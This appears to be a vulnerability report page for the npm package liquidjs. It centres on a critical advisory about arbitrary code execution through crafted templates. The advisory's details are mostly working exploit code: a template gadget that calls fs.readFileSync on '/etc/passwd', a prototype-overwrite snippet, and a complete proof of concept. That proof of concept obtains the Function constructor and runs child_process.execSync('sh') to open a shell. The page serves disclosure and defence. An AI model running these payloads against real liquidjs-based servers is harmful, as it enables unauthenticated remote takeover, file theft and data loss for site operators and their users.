npm package report

Is liquidjs safe?

19 known vulnerabilities, worst severity CRITICAL.

// reach

1 direct dependencies

none carry a known advisory

    15 packages depend on it

    an advisory here reaches each of them

    Create a free accountfor every dependency path, dependent and what to upgrade
    // ai model usage

    Tracked for PyPI packages. HuggingFace models declare Python dependencies, so npm packages are not covered.


    cvss
    10.0
    critical

    CVSS v3.1 base score out of 10

    epss
    0.82%
    medium

    chance of exploitation in 30 days, 57th percentile of all CVEs

    xyz score
    4.7
    medium

    CyberXYZ composite out of 10

    fig. 01 — GHSA-gf2q-c269-pqgc, the advisory selected below

    // 19 advisories

    GHSA-gf2q-c269-pqgc

    CRITICALOSV ratingCVE-2026-45618
    // summary

    It is possible to execute arbitrary code with crafted templates

    // details

    1|valueOf -> this when evaluating the filter

    {%assign r=1|valueOf%}
    {{r|inspect}}
    {"context":{"scopes":[{"r":"[Circular]"}],"registers":{},"breakCalled":false,"continueCalled":false,"sync":false,"opts":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null},"globals":{},"environments":{},"strictVariables":false,"ownPropertyOnly":true,"memoryLimit":{"base":0,"message":"memory alloc limit exceeded","limit":null},"renderLimit":{"base":0,"message":"template render limit exceeded","limit":null}},"token":{"kind":32,"input":"{%assign r=1|valueOf%}\n{{r|inspect}}","begin":13,"end":20,"name":"valueOf","args":[]},"liquid":{"renderer":{},"filters":{"raw":{"raw":true}},"tags":{},"options":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null},"parser":{"liquid":"[Circular]","fs":{"sep":"/"},"loader":{"options":{"root":["."],"layouts":[".

    function calls with a controlled first argument via comprable

    import { Liquid } from "liquidjs";
    
    const engine = new Liquid();
    
    const storeFn = (dst, src) => {
      const parts = src.split(".");
      const path = parts.slice(0, -1).join(".");
      const prop = parts.at(-1);
    
      return `
    {% assign _g = ${path}|group_by:"0"%}
    {% assign _gs = _g | where:n,"${prop}"|first%}
    {% assign ${dst} = _gs.items | first | last %}`;
    };
    
    const tpl = `
    {% liquid
    assign r = 1|valueOf
    assign m = r.context.scopes|first
    assign fs = r.liquid.options.fs
    assign n = "name"%}
    
    ${storeFn("equals", "fs.readFileSync")}
    ${storeFn("gt", "fs.readFileSync")}
    ${storeFn("geq", "fs.readFileSync")}
    ${storeFn("lt", "fs.readFileSync")}
    ${storeFn("leq", "fs.readFileSync")}
    
    {{m == "/etc/passwd"}}
    `;
    
    const v = await engine.parseAndRender(tpl, {});
    console.log(v.trim());

    changing the prototype of things

    import { Liquid } from "liquidjs";
    
    const engine = new Liquid();
    
    engine.registerFilter("log", (val) => console.dir(val, { depth: 1 }));
    
    const tpl = `
    {% liquid
    assign r = 1|valueOf
    assign m = r.context.scopes|first %}
    
    {{m|log}}
    {% assign __proto__ = r.liquid.parser %}
    {{m|log}}
    `;
    
    const v = await engine.parseAndRender(tpl, {});
    console.log(v.trim());

    When calling functions via the comparable gadget, this will be the scope. By overwriting this.loader.lookup and this.readFile, to fully control what goes into this.parse, and while controlling this, a reference to the Function constructor can be obtained, which then allows executing arbitrary code.

      private * _parseFile (file: string, sync?: boolean, type: LookupType = LookupType.Root, currentFile?: string): Generator<unknown, Template[], string> {
        const filepath = yield this.loader.lookup(file, type, sync, currentFile)
        return this.parse(yield this.readFile(!!sync, filepath), filepath)
      }
    // poc

    Complete instructions, including specific configuration details, to reproduce the vulnerability.

    import { Liquid } from "liquidjs";
    
    const engine = new Liquid();
    
    const storeFn = (dst, src) => {
      const parts = src.split(".");
      const path = parts.slice(0, -1).join(".");
      const prop = parts.at(-1);
    
      return `
    {% assign _g = ${path}|group_by:"0"%}
    {% assign _gs = _g | where:n,"${prop}"|first%}
    {% assign ${dst} = _gs.items | first | last %}`;
    };
    
    const tpl = `
    {% liquid
    assign r = 1|valueOf
    assign m = r.context.scopes|first
    assign l = r.liquid
    assign p = l.parser
    assign f = l.filters
    assign n = "name"%}
    
    ${storeFn("equals", "p.parseFile")}
    ${storeFn("gt", "p.parseFile")}
    ${storeFn("geq", "p.parseFile")}
    ${storeFn("lt", "p.parseFile")}
    ${storeFn("leq", "p.parseFile")}
    
    ${storeFn("readFile", "f.default")}
    ${storeFn("lookup", "f.raw.handler")}
    
    {% assign loader = m %}
    {% assign context = m %}
    {% assign opts = m %}
    {% assign liquid = m %}
    {% assign options = m %}
    {% assign __proto__ = p %}
    
    {% assign tagDelimiterLeft = n %}
    {% assign tagDelimiterRight = n %}
    {% assign outputDelimiterLeft = '[' %}
    {% assign outputDelimiterRight = ']'%}
    
    {# set to some some function, so that filters['constructor'] -> Function #}
    ${storeFn("filters", "f.raw.handler")} 
    
    {# store Function #}
    {% assign output = m == "[0|constructor]" | first %}
    {% assign val = output.value.filters|first %}
    
    {# set scope.equals to Function #}
    ${storeFn("equals", "val.handler")}
    {% assign RCE = m == "return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})" %}
    {{RCE}}
    `;
    
    const v = await engine.parseAndRender(tpl, {});
    console.log(v.trim());
    // impact

    What kind of vulnerability is it? Who is impacted? Remote Code Execution.

    // cvss v3.1 vector

    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

    Attack vector
    Network
    Attack complexity
    Low
    Privileges required
    None
    User interaction
    None
    Scope
    Changed
    Confidentiality
    High
    Integrity
    High
    Availability
    High

    Checked 2026-11-06 at 20:00 UTC. The most recent advisory here was published 2026-10-07. Updated continuously from NVD, GHSA, OSV and CNA feeds.

    Think a verdict here is wrong? Tell us — we respond within 2 business days.